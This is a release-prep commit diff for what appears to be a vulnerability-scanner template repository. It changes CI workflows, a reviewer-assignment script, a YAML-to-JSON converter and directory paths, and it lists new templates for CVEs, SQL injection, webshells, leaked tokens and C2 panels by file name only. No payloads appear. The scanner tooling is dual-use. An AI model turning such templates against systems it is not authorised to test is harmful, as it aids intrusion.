TemplateMan Update [Sat Jul 8 06:51:37 UTC 2023] 🤖

Release Prep

.github/ISSUE_TEMPLATE/false-negative.md

@@ -13,7 +13,7 @@ labels: 'false-negative'
 
 ### Template file:
 
-<!-- Template producing false-negative results, for example: "cves/XX/XX.yaml" -->
+<!-- Template producing false-negative results, for example: "http/cves/XX/XX.yaml" -->
 
 ### Command to reproduce:
 

.github/ISSUE_TEMPLATE/false-positive.md

@@ -13,7 +13,7 @@ labels: 'false-positive'
 
 ### Template file:
 
-<!-- Template producing false-positive results, for example: "cves/XX/XX.yaml" -->
+<!-- Template producing false-positive results, for example: "http/cves/XX/XX.yaml" -->
 
 ### Command to reproduce:
 

.github/auto_assign.yml

@@ -0,0 +1,30 @@
+# Set to true to add reviewers to pull requests
+addReviewers: false
+
+# Set to true to add assignees to pull requests
+addAssignees: false
+
+# A list of reviewers to be added to pull requests (GitHub user name)
+reviewers:
+  - ritikchaddha
+  - pussycat0x
+  - DhiyaneshGeek
+
+# A number of reviewers added to the pull request
+# Set 0 to add all the reviewers (default: 0)
+numberOfReviewers: 1
+
+ # A list of assignees, overrides reviewers if set
+assignees:
+  - pussycat0x
+  - ritikchaddha
+  - DhiyaneshGeek
+
+# A number of assignees to add to the pull request
+# Set to 0 to add all of the assignees.
+# Uses numberOfReviewers if unset.
+numberOfAssignees: 1
+
+# A list of keywords to be skipped the process that add reviewers if pull requests include it
+# skipKeywords:
+#   - wip

.github/dependabot.yml

@@ -0,0 +1,19 @@
+# To get started with Dependabot version updates, you'll need to specify which
+# package ecosystems to update and where the package manifests are located.
+# Please see the documentation for all configuration options:
+# https://help.github.com/github/administering-a-repository/configuration-options-for-dependency-updates
+
+version: 2
+updates:
+
+  # Maintain dependencies for GitHub Actions
+  - package-ecosystem: "github-actions"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    target-branch: "main"
+    commit-message:
+      prefix: "chore"
+      include: "scope"
+    labels:
+      - "Type: Maintenance"

.github/scripts/assign_tasks.py

@@ -0,0 +1,139 @@
+import requests
+import sys
+import json
+
+# GitHub credentials
+password = sys.argv[3]
+
+repo_owner = "projectdiscovery"
+repo_name = "nuclei-templates"
+pr_user_list = ["DhiyaneshGeek", "pussycat0x", "ritikchaddha"]
+issue_user_list = ["princechaddha", "DhiyaneshGeek", "pussycat0x", "ritikchaddha"]
+
+headers = {'Authorization': f'Bearer {password}',
+        'Accept': 'application/vnd.github+json',
+        'X-GitHub-Api-Version': '2022-11-28'}
+
+def get_issue_assignee(issue_number):
+    issue_url = f"https://api.github.com/repos/{repo_owner}/{repo_name}/issues?per_page=2"
+    response = requests.get(issue_url, headers=headers)
+
+    if response.status_code == 200:
+        issue_data = response.json()[1]
+        assignee = issue_data["assignee"]["login"] if issue_data["assignee"] else "None"
+        return assignee
+    else:
+        print(f"Failed to fetch assignee for issue #{issue_number}")
+        return None
+
+def assign_issue_or_pr(user, issue_number):
+    url = f"https://api.github.com/repos/{repo_owner}/{repo_name}/issues/{issue_number}/assignees"
+    data = { "assignees": [user] }
+    response = requests.post(url, headers=headers, data=json.dumps(data))
+
+    if response.status_code == 201:
+        print(f"Assigned issue #{issue_number} to {user}")
+    else:
+        print(f"Failed to assign issue #{issue_number} to {user}. Status code: {response.status_code}")
+
+def get_pr_assignee_and_reviewer(pull_request_number):
+    pull_url = f'https://api.github.com/repos/{repo_owner}/{repo_name}/pulls?per_page=2'
+    response = requests.get(pull_url, headers=headers)
+
+    if response.status_code == 200:
+        pull_request_data = response.json()[1]
+        assignee = pull_request_data['assignee']['login'] if pull_request_data['assignee'] else None
+        reviewers = [reviewer['login'] for reviewer in pull_request_data['requested_reviewers']]
+        
+        return assignee, reviewers
+    else:
+        print(f"Failed to retrieve pull request #{pull_request_number}. Response: {response.text}")
+        return None, None
+
+def get_pr_author(pull_request_number):
+    pull_url = f'https://api.github.com/repos/{repo_owner}/{repo_name}/pulls/{pull_request_number}'
+    response = requests.get(pull_url, headers=headers)
+
+    if response.status_code == 200:
+        pull_request_data = response.json()
+        author = pull_request_data['user']['login']
+        return author
+
+    else:
+        print(f"Failed to retrieve pull request #{pull_request_number}. Response: {response.text}")
+        return None
+
+def review_pr(user, pull_request_number):
+    url = f'https://api.github.com/repos/{repo_owner}/{repo_name}/pulls/{pull_request_number}/requested_reviewers'
+    data = { 'reviewers': [user] }
+    response = requests.post(url, headers=headers, data=json.dumps(data))
+
+    if response.status_code == 201:
+        print(f"Review request for pull request #{pull_request_number} sent to {user} successfully.")
+    else:
+        print(f"Failed to send review request for pull request #{pull_request_number}. Response: {response.text}")
+    
+def main():
+    if len(sys.argv) != 4:
+        print("Usage: python assign_tasks.py <issue_number> <pr_or_issue> <token>")
+        sys.exit(1)
+
+    issue_number = int(sys.argv[1])
+    type_ = sys.argv[2]
+    if type_ == 'pr':
+        assignee, reviewers = get_pr_assignee_and_reviewer(issue_number - 1)
+        author = get_pr_author(issue_number)
+
+        if reviewers:
+            try:
+                index = pr_user_list.index(reviewers[0])
+                try: 
+                    reviewer = pr_user_list[index + 1]
+                except:
+                    reviewer = pr_user_list[0]
+                if reviewer == author:
+                    reviewer = pr_user_list(pr_user_list.index(reviewer) + 1)
+                    review_pr(reviewer, issue_number)
+                else:
+                    review_pr(reviewer, issue_number)
+
+            except Exception as e:
+                reviewer = pr_user_list[0]
+                review_pr(reviewer, issue_number)
+        else:
+            for user in pr_user_list:
+                if (user != author):
+                    reviewer = user
+                    review_pr(reviewer, issue_number)
+                    break
+        
+        if assignee:
+            try:
+                index = pr_user_list.index(assignee)
+                if (pr_user_list[index + 1] == reviewer):
+                    assign_issue_or_pr(pr_user_list[index + 2], issue_number)
+                else:
+                    assign_issue_or_pr(pr_user_list[index + 1], issue_number)
+            except Exception as e:
+                if (pr_user_list[0] == reviewer):
+                    assign_issue_or_pr(pr_user_list[1], issue_number)
+                else:
+                    assign_issue_or_pr(pr_user_list[0], issue_number)
+        else:
+            if (pr_user_list[0] == reviewer):
+                assign_issue_or_pr(pr_user_list[1], issue_number)
+            else:
+                assign_issue_or_pr(pr_user_list[0], issue_number)
+    elif type_ == 'issue':
+        assignee = get_issue_assignee(issue_number-1)
+
+        if assignee:
+            try:
+                index = issue_user_list.index(assignee)
+                assign_issue_or_pr(issue_user_list[index + 1], issue_number)
+            except Exception as e:
+                assign_issue_or_pr(issue_user_list[0], issue_number)
+        else:
+            assign_issue_or_pr(issue_user_list[0], issue_number)
+
+main()

.github/scripts/wordpress-plugins-update.py

@@ -9,7 +9,7 @@ compares the detect version with the payload version.
 The generated template also includes the tags top-100 and top-200 allowing filtering.
 
 e.g.
-nuclei -t technologies/wordpress/plugins -tags top-100 -u https://www.example.com
+nuclei -t http/technologies/wordpress/plugins -tags top-100 -u https://www.example.com
 '''
 
 __author__ = "ricardomaia"
@@ -122,7 +122,7 @@ info:
     wpscan: https://wpscan.com/plugin/{name}
   tags: tech,wordpress,wp-plugin,{top_tag}
 
-requests:
+http:
   - method: GET
 
     path:
@@ -163,7 +163,7 @@ requests:
         work_dir = os.getcwd()
         print(f"Current working directory: {work_dir}")
         helper_dir = f"{work_dir}/helpers/wordpress/plugins"
-        template_dir = f"{work_dir}/technologies/wordpress/plugins"
+        template_dir = f"{work_dir}/http/technologies/wordpress/plugins"
 
         if not os.path.exists(helper_dir):
             os.makedirs(helper_dir)
@@ -176,7 +176,7 @@ requests:
         version_file.write(version)
         version_file.close()
 
-        template_path = f"technologies/wordpress/plugins/{name}.yaml"
+        template_path = f"http/technologies/wordpress/plugins/{name}.yaml"
         template_file = open(template_path, "w")  # Dev environment
         template_file.write(template)
         template_file.close()

.github/scripts/yaml2json.go

@@ -0,0 +1,93 @@
+package main
+
+import (
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"gopkg.in/yaml.v3"
+)
+
+type Classification struct {
+	CVSSScore string `yaml:"cvss-score,omitempty"`
+}
+
+type Info struct {
+	Name        string         `yaml:"name"`
+	Severity    string         `yaml:"severity"`
+	Description string         `yaml:"description"`
+	Classification Classification `yaml:"classification,omitempty"`
+}
+
+type Data struct {
+	ID          string `yaml:"id"`
+	Info        Info   `yaml:"info"`
+	FilePath    string `json:"file_path"`
+}
+
+func main() {
+	if len(os.Args) != 3 {
+		fmt.Println("Usage: go run main.go <directory> <output_file>")
+		os.Exit(1)
+	}
+
+	directory := os.Args[1]
+	outputFile := os.Args[2]
+
+	var data []Data
+
+	err := filepath.Walk(directory, func(path string, info os.FileInfo, err error) error {
+		if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
+			yamlFile, err := ioutil.ReadFile(path)
+                if err != nil {
+                    fmt.Printf("Error reading YAML file %s: %v\n", path, err)
+                    return err
+                }
+    
+                var d Data
+                err = yaml.Unmarshal(yamlFile, &d)
+                if err != nil {
+                    fmt.Printf("Error unmarshalling YAML file %s: %v\n", path, err)
+                    return err
+                }
+                if d.Info.Classification.CVSSScore == "" {
+                    d.Info.Classification.CVSSScore = "N/A"
+                }
+                if d.Info.Classification == (Classification{}) {
+                    d.Info.Classification.CVSSScore = "N/A"
+                }
+		fpath := strings.Replace(path, "/home/runner/work/nuclei-templates/nuclei-templates/", "", 1)
+                d.FilePath = fpath
+    
+                data = append(data, d)
+            }
+            return nil
+        })
+    
+        if err != nil {
+            fmt.Printf("Error reading directory: %v\n", err)
+            os.Exit(1)
+        }
+    
+        var jsonData []byte
+        for _, d := range data {
+            temp, err := json.Marshal(d)
+            if err != nil {
+                fmt.Printf("Error marshalling JSON: %v\n", err)
+                os.Exit(1)
+            }
+            jsonData = append(jsonData, temp...)
+            jsonData = append(jsonData, byte('\n'))
+        }
+        err = ioutil.WriteFile(outputFile, jsonData, 0644)
+        if err != nil {
+            fmt.Printf("Error writing JSON data to file: %v\n", err)
+            os.Exit(1)
+        }
+    
+        fmt.Println("JSON data written to", outputFile)
+    }
+    

.github/workflows/autoassign.yml

@@ -0,0 +1,31 @@
+name: run assign_tasks.py
+on:
+  pull_request:
+    types: [opened]
+    branches: 
+      - main
+  issues:
+    types: [opened]
+
+jobs:
+  build:
+    permissions: write-all
+    runs-on: ubuntu-latest
+    env:
+      ASSIGN_TASK_TOKEN: ${{ secrets.GITHUB_TOKEN }} # github personal token
+    steps:
+      - name: checkout repo content
+        uses: actions/checkout@v2 # checkout the repository content
+      - name: setup python
+        uses: actions/setup-python@v4
+        with:
+          python-version: '3.10' # install the python version needed
+      - name: install python packages
+        run: |
+          pip install requests
+      - name: execute python script on pr
+        if: ${{ github.event_name == 'pull_request' }}
+        run: python .github/scripts/assign_tasks.py ${{ github.event.pull_request.number }} pr ${{ secrets.GITHUB_TOKEN }}
+      - name: execute python script on issue opened
+        if: ${{ github.event_name == 'issues' }}
+        run: python .github/scripts/assign_tasks.py ${{ github.event.issue.number }} issue ${{ secrets.GITHUB_TOKEN }}

.github/workflows/cache-purge.yml

@@ -9,7 +9,12 @@ on:
 jobs:
   deploy:
     runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
+      # Wait for 5 minutes
+      - name: Wait for 2 minutes
+        run: sleep 120
+
       - name: Purge cache
         uses: jakejarvis/cloudflare-purge-action@master
         env:

.github/workflows/cve-annotate.yml

@@ -1,49 +0,0 @@
-name: ✍🏻 CVE Annotate
-
-on:
-  push:
-    branches:
-      - master
-  workflow_dispatch:
-
-jobs:
-  docs:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v2
-
-      - name: Get Github tag
-        id: meta
-        run: |
-          curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name | xargs -I {} echo TAG={} >> $GITHUB_OUTPUT
-
-      - name: Setup CVE annotate
-        if: steps.meta.outputs.TAG != ''
-        env:
-          VERSION: ${{ steps.meta.outputs.TAG }}
-        run: |
-          wget -q https://github.com/projectdiscovery/nuclei/releases/download/${VERSION}/cve-annotate.zip
-          sudo unzip cve-annotate.zip -d /usr/local/bin
-        working-directory: /tmp
-
-      - name: Generate CVE Annotations
-        id: cve-annotate
-        run: |
-          cve-annotate -i . -d .
-          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
-
-      - name: Commit files
-        if: steps.cve-annotate.outputs.CHANGES > 0
-        run: |
-          git config --local user.email "[email protected]"
-          git config --local user.name "GitHub Action"
-          git pull
-          git add cves
-          git commit -m "Auto Generated CVE annotations [$(date)] :robot:" -a
-
-      - name: Push changes
-        if: steps.cve-annotate.outputs.CHANGES > 0
-        uses: ad-m/github-push-action@master
-        with:
-          github_token: ${{ secrets.GITHUB_TOKEN }}
-          branch: ${{ github.ref }}

.github/workflows/cve2json.yml

@@ -0,0 +1,44 @@
+name: 📝 CVE JSON Metadata
+
+on:
+  push:
+    branches:
+      - main
+    paths:
+      - 'http/cves/**'
+  workflow_dispatch: # allows manual triggering of the workflow
+
+jobs:
+  cve2json:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@master
+      - name: Set up Go
+        uses: actions/setup-go@v4
+        with:
+          go-version: 1.19
+          
+      - name: Run YAML2JSON
+        id: cves
+        run: |
+          go env -w GO111MODULE=off
+          go get gopkg.in/yaml.v3
+          go run .github/scripts/yaml2json.go $GITHUB_WORKSPACE/http/cves/ cves.json
+          md5sum cves.json | cut -d' ' -f1 > cves.json-checksum.txt
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
+          
+      - name: Commit files
+        if: steps.cves.outputs.CHANGES > 0
+        run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git add cves.json cves.json-checksum.txt
+          git commit -m "Auto Generated cves.json [$(date)] :robot:" -a
+
+      - name: Push changes
+        if: steps.cves.outputs.CHANGES > 0
+        run: |
+          git pull --rebase
+          git push origin ${{ github.ref }}
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/new-templates.yml

@@ -3,7 +3,9 @@ name: 🥳 New Template List
 on:
   push:
     branches:
-      - master
+      - main
+    paths:
+      - '**.yaml'
   workflow_dispatch:
 
 jobs:

.github/workflows/readme-update.yml

@@ -22,7 +22,7 @@ jobs:
           fetch-depth: 0
 
       - name: Set up Python
-        uses: actions/setup-python@v2
+        uses: actions/setup-python@v4
         with:
           python-version: "3.8"
 

.github/workflows/syntax-checking.yml

@@ -1,6 +1,10 @@
 name: ❄️ YAML Lint
 
-on: [push, pull_request]
+on:
+  pull_request:
+    paths:
+      - '**.yaml'
+  workflow_dispatch:
 
 jobs:
   build:
@@ -8,7 +12,7 @@ jobs:
     steps:
       - uses: actions/checkout@v2
       - name: Yamllint
-        uses: karancode/yamllint-github-action@master
+        uses: karancode/yamllint-github-action@v2.1.1
         with:
           yamllint_config_filepath: .yamllint
           yamllint_strict: false

.github/workflows/template-checksum.yml

@@ -2,37 +2,48 @@ name: 📝 Template Checksum
 
 on:
   push:
-    tags:
-      - '*'
-  workflow_dispatch:
+    branches:
+      - main
+    paths:
+      - '**.yaml'
+  workflow_dispatch: # allows manual triggering of the workflow
 
 jobs:
-  build:
+  checksum:
     runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@master
-      - uses: actions/setup-go@v2
+      - uses: actions/checkout@v3
         with: 
-          go-version: 1.18
+          fetch-depth: 0
+
+      - name: Set up Go
+        uses: actions/setup-go@v4
+        with:
+          go-version: 1.20.x
 
       - name: install checksum generator
         run: |
           go install -v github.com/projectdiscovery/nuclei/v2/cmd/generate-checksum@dev
 
       - name: generate checksum
+        id: checksum
         run: |
           generate-checksum /home/runner/work/nuclei-templates/nuclei-templates/ templates-checksum.txt
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
 
       - name: Commit files
+        if: steps.checksum.outputs.CHANGES > 0
         run: |
-          git pull
-          git add templates-checksum.txt
           git config --local user.email "[email protected]"
           git config --local user.name "GitHub Action"
-          git commit -m "Auto Generated Templates Checksum [$(date)] :robot:" -a
+          git add templates-checksum.txt
+          git commit -am "Auto Generated Templates Checksum [$(date)] :robot:"
 
       - name: Push changes
-        uses: ad-m/github-push-action@master
-        with:
-          github_token: ${{ secrets.GITHUB_TOKEN }}
-          branch: master
+        if: steps.checksum.outputs.CHANGES > 0
+        run: |
+          git pull --rebase
+          git push origin ${{ github.ref }}
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/template-db-indexer.yml

@@ -3,16 +3,20 @@ name: 📑 Template-DB Indexer
 on:
   push:
     branches:
-      - master
+      - main
+    paths:
+      - '**.yaml'
   workflow_dispatch:
 
 jobs:
   index:
     runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/setup-go@v2
+      - name: Set up Go
+        uses: actions/setup-go@v4
         with:
-          go-version: 1.17
+          go-version: 1.19
 
       - name: Installing Indexer
         run: |

.github/workflows/template-validate.yml

@@ -1,29 +1,29 @@
 name: 🛠 Template Validate
 
-on: [ push, pull_request ]
+on:
+  pull_request:
+    paths:
+      - '**.yaml'
+  workflow_dispatch:
 
 jobs:
   build:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v2
+      - uses: actions/checkout@v3
+        with: 
+          fetch-depth: 0
 
-      - name: Get Github tag
-        id: meta
-        run: |
-          curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name | xargs -I {} echo TAG={} >> $GITHUB_OUTPUT
+      - name: Set up Go
+        uses: actions/setup-go@v4
+        with:
+          go-version: 1.20.x
 
-      - name: Setup Nuclei
-        if: steps.meta.outputs.TAG != ''
-        env:
-          VERSION: ${{ steps.meta.outputs.TAG }}
-        run: |
-          wget -q https://github.com/projectdiscovery/nuclei/releases/download/${VERSION}/nuclei_${VERSION:1}_linux_amd64.zip
-          sudo unzip nuclei*.zip -d /usr/local/bin
-        working-directory: /tmp
+      - name: nuclei install
+        run: go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
 
       - name: Template Validation
         run: |
           cp -r ${{ github.workspace }} $HOME
-          nuclei -validate
-          nuclei -validate -w ./workflows
+          nuclei -duc -validate
+          nuclei -duc -validate -w ./workflows

.github/workflows/templateman.yml

@@ -0,0 +1,48 @@
+name: 🤖 TemplateMan
+
+on:
+  push:
+    branches:
+      - main
+    paths:
+      - '**.yaml'
+  workflow_dispatch:
+
+jobs:
+  templateman:
+    runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
+    steps:
+      - uses: actions/checkout@master
+        with:
+          fetch-depth: 0
+
+      - name: Set up Go
+        uses: actions/setup-go@v4
+        with:
+          go-version: 1.20.x
+
+      - name: Install TemplateMan CLI Client
+        run: |
+          go install -v github.com/projectdiscovery/nuclei/v2/cmd/tmc@dev
+
+      - name: Run TemplateMan
+        id: tmc
+        run: |
+          tmc -i $GITHUB_WORKSPACE -mr
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
+
+      - name: Commit files
+        if: steps.tmc.outputs.CHANGES > 0
+        run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit --allow-empty -m "TemplateMan Update [$(date)] :robot:" -a
+
+      - name: Push changes
+        if: steps.tmc.outputs.CHANGES > 0
+        run: |
+          git pull --rebase
+          git push origin ${{ github.ref }}
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/templates-stats.yml

@@ -10,10 +10,14 @@ jobs:
   build:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@master
-      - uses: actions/setup-go@v2
+      - uses: actions/checkout@v3
         with: 
-          go-version: 1.18
+          fetch-depth: 0
+
+      - name: Set up Go
+        uses: actions/setup-go@v4
+        with:
+          go-version: 1.19
 
       - name: Installing Template Stats
         run: |
@@ -51,5 +55,4 @@ jobs:
       - name: Push changes
         uses: ad-m/github-push-action@master
         with:
-          github_token: ${{ secrets.GITHUB_TOKEN }}
-          branch: master
+          github_token: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/wordpress-plugins-update.yml

@@ -1,8 +1,10 @@
 name: ✨ WordPress Plugins - Update
+
 on:
   schedule:
     - cron: "0 4 * * *" # every day at 4am UTC
   workflow_dispatch:
+
 jobs:
   Update:
     runs-on: ubuntu-latest

.new-additions

@@ -0,0 +1,90 @@
+file/keys/adafruit-key.yaml
+file/keys/adobe/adobe-client.yaml
+file/keys/airtable-key.yaml
+file/keys/algolia-key.yaml
+file/keys/alibaba/alibaba-key-id.yaml
+file/keys/alibaba/alibaba-secret-id.yaml
+file/keys/asana/asana-clientid.yaml
+file/keys/asana/asana-clientsecret.yaml
+file/keys/atlassian/atlassian-api-token.yaml
+file/webshell/asp-webshell.yaml
+file/webshell/jsp-webshell.yaml
+file/webshell/php-webshell.yaml
+http/cnvd/2022/CNVD-2022-86535.yaml
+http/cves/2012/CVE-2012-5321.yaml
+http/cves/2018/CVE-2018-6530.yaml
+http/cves/2019/CVE-2019-14789.yaml
+http/cves/2019/CVE-2019-8390.yaml
+http/cves/2020/CVE-2020-19515.yaml
+http/cves/2020/CVE-2020-35984.yaml
+http/cves/2020/CVE-2020-35985.yaml
+http/cves/2020/CVE-2020-35986.yaml
+http/cves/2020/CVE-2020-35987.yaml
+http/cves/2022/CVE-2022-4295.yaml
+http/cves/2022/CVE-2022-43164.yaml
+http/cves/2022/CVE-2022-43165.yaml
+http/cves/2022/CVE-2022-43166.yaml
+http/cves/2022/CVE-2022-43167.yaml
+http/cves/2022/CVE-2022-43169.yaml
+http/cves/2022/CVE-2022-43170.yaml
+http/cves/2022/CVE-2022-43185.yaml
+http/cves/2022/CVE-2022-44944.yaml
+http/cves/2022/CVE-2022-44946.yaml
+http/cves/2022/CVE-2022-44947.yaml
+http/cves/2022/CVE-2022-44948.yaml
+http/cves/2022/CVE-2022-44949.yaml
+http/cves/2022/CVE-2022-44950.yaml
+http/cves/2022/CVE-2022-44951.yaml
+http/cves/2022/CVE-2022-44952.yaml
+http/cves/2023/CVE-2023-0297.yaml
+http/cves/2023/CVE-2023-0514.yaml
+http/cves/2023/CVE-2023-1730.yaml
+http/cves/2023/CVE-2023-1835.yaml
+http/cves/2023/CVE-2023-1890.yaml
+http/cves/2023/CVE-2023-2023.yaml
+http/cves/2023/CVE-2023-2252.yaml
+http/cves/2023/CVE-2023-2272.yaml
+http/cves/2023/CVE-2023-28121.yaml
+http/cves/2023/CVE-2023-2822.yaml
+http/cves/2023/CVE-2023-30256.yaml
+http/cves/2023/CVE-2023-30777.yaml
+http/cves/2023/CVE-2023-33439.yaml
+http/cves/2023/CVE-2023-36287.yaml
+http/cves/2023/CVE-2023-36289.yaml
+http/cves/2023/CVE-2023-36346.yaml
+http/default-logins/esafenet-cdg-default-login.yaml
+http/default-logins/leostream/leostream-default-login.yaml
+http/default-logins/pyload/pyload-default-login.yaml
+http/exposed-panels/arangodb-web-Interface.yaml
+http/exposed-panels/arcserve-panel.yaml
+http/exposed-panels/c2/hookbot-rat.yaml
+http/exposed-panels/c2/mystic-stealer.yaml
+http/exposed-panels/cloudpanel-login.yaml
+http/exposed-panels/dell-idrac.yaml
+http/exposed-panels/efak-login-panel.yaml
+http/exposed-panels/pritunl-panel.yaml
+http/exposed-panels/pyload-panel.yaml
+http/exposed-panels/qdpm-login-panel.yaml
+http/exposed-panels/shell-box.yaml
+http/exposed-panels/untangle-admin-login.yaml
+http/exposed-panels/uptime-kuma-panel.yaml
+http/exposures/configs/collibra-properties.yaml
+http/exposures/files/pnpm-lock.yaml
+http/exposures/tokens/adafruit/adafruit-api-key.yaml
+http/exposures/tokens/adobe/adobe-client-id.yaml
+http/exposures/tokens/airtable/airtable-api-key.yaml
+http/exposures/tokens/algolia/algolia-api-key.yaml
+http/exposures/tokens/alibaba/alibaba-accesskey-id.yaml
+http/exposures/tokens/alibaba/alibaba-secretkey-id.yaml
+http/exposures/tokens/asana/asana-client-id.yaml
+http/exposures/tokens/asana/asana-client-secret.yaml
+http/exposures/tokens/atlassian-token.yaml
+http/misconfiguration/proxy/open-proxy-external.yaml
+http/misconfiguration/unauth-temporal-web-ui.yaml
+http/vulnerabilities/other/sitemap-sql-injection.yaml
+http/vulnerabilities/wordpress/contus-video-gallery-sqli.yaml
+http/vulnerabilities/wordpress/leaguemanager-sql-injection.yaml
+http/vulnerabilities/wordpress/notificationx-sqli.yaml
+http/vulnerabilities/wordpress/zero-spam-sql-injection.yaml
+network/misconfig/apache-dubbo-unauth.yaml
+network/misconfig/apache-rocketmq-broker-unauth.yaml

.nuclei-ignore

@@ -23,16 +23,17 @@ tags:
 # unless asked for by the user.
 
 files:
-  - cves/2006/CVE-2006-1681.yaml
-  - cves/2007/CVE-2007-5728.yaml
-  - cves/2014/CVE-2014-9608.yaml
-  - cves/2018/CVE-2018-5233.yaml
-  - cves/2019/CVE-2019-14696.yaml
-  - cves/2020/CVE-2020-11930.yaml
-  - cves/2020/CVE-2020-19295.yaml
-  - cves/2020/CVE-2020-2036.yaml
-  - cves/2020/CVE-2020-28351.yaml
-  - cves/2021/CVE-2021-35265.yaml
-  - vulnerabilities/generic/basic-xss-prober.yaml
-  - vulnerabilities/oracle/oracle-ebs-xss.yaml
-  - vulnerabilities/other/nginx-module-vts-xss.yaml
+  - http/cves/2006/CVE-2006-1681.yaml
+  - http/cves/2007/CVE-2007-5728.yaml
+  - http/cves/2011/CVE-2011-4618.yaml
+  - http/cves/2014/CVE-2014-9608.yaml
+  - http/cves/2018/CVE-2018-5316.yaml
+  - http/cves/2018/CVE-2018-5233.yaml
+  - http/cves/2019/CVE-2019-14696.yaml
+  - http/cves/2020/CVE-2020-11930.yaml
+  - http/cves/2020/CVE-2020-19295.yaml
+  - http/cves/2020/CVE-2020-2036.yaml
+  - http/cves/2020/CVE-2020-28351.yaml
+  - http/cves/2021/CVE-2021-35265.yaml
+  - http/vulnerabilities/oracle/oracle-ebs-xss.yaml
+  - http/vulnerabilities/other/nginx-module-vts-xss.yaml

.yamllint

@@ -3,7 +3,9 @@ extends: default
 
 ignore: |
   .pre-commit-config.yml
-  .github/workflows/*.yml
+  .github/
+  .git/
+  *.yml
 
 rules:
   document-start: disable
@@ -14,4 +16,6 @@ rules:
   comments:
     require-starting-space: true
     ignore-shebangs: true
-    min-spaces-from-content: 1
+    min-spaces-from-content: 1
+  empty-lines:
+    max: 5

CONTRIBUTING.md

@@ -30,8 +30,8 @@ git remote add upstream https://github.com/projectdiscovery/nuclei-templates
 
 ```sh
 git remote update
-git checkout master
-git rebase upstream/master
+git checkout main
+git rebase upstream/main
 ```
 
 ## Step 3 : Create your Template Branch

README.md

@@ -40,20 +40,20 @@ An overview of the nuclei template project, including statistics on unique tags,
 
 ## Nuclei Templates Top 10 statistics
 
-|    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
-|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
-| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
-| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
-| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
-| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
-| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
-| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
-| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
-| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
-| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |
+|    TAG    | COUNT |    AUTHOR    | COUNT |      DIRECTORY       | COUNT | SEVERITY | COUNT | TYPE | COUNT |
+|-----------|-------|--------------|-------|----------------------|-------|----------|-------|------|-------|
+| cve       |  1908 | dhiyaneshdk  |   882 | http                 |  5970 | info     |  2907 | file |   130 |
+| panel     |   909 | dwisiswant0  |   796 | workflows            |   190 | high     |  1298 | dns  |    18 |
+| wordpress |   787 | daffainfo    |   664 | file                 |   130 | medium   |  1076 |      |       |
+| exposure  |   692 | pikpikcu     |   353 | network              |    98 | critical |   717 |      |       |
+| wp-plugin |   678 | pdteam       |   280 | ssl                  |    24 | low      |   224 |      |       |
+| xss       |   660 | pussycat0x   |   258 | dns                  |    18 | unknown  |    27 |      |       |
+| osint     |   652 | geeknik      |   221 | headless             |     9 |          |       |      |       |
+| tech      |   614 | ricardomaia  |   220 | contributors.json    |     1 |          |       |      |       |
+| edb       |   597 | ritikchaddha |   217 | cves.json            |     1 |          |       |      |       |
+| lfi       |   557 | 0x_akoko     |   179 | TEMPLATES-STATS.json |     1 |          |       |      |       |
 
-**335 directories, 5229 files**.
+**412 directories, 6679 files**.
 
 </td>
 </tr>

TEMPLATES-STATS.json

@@ -1 +1 @@
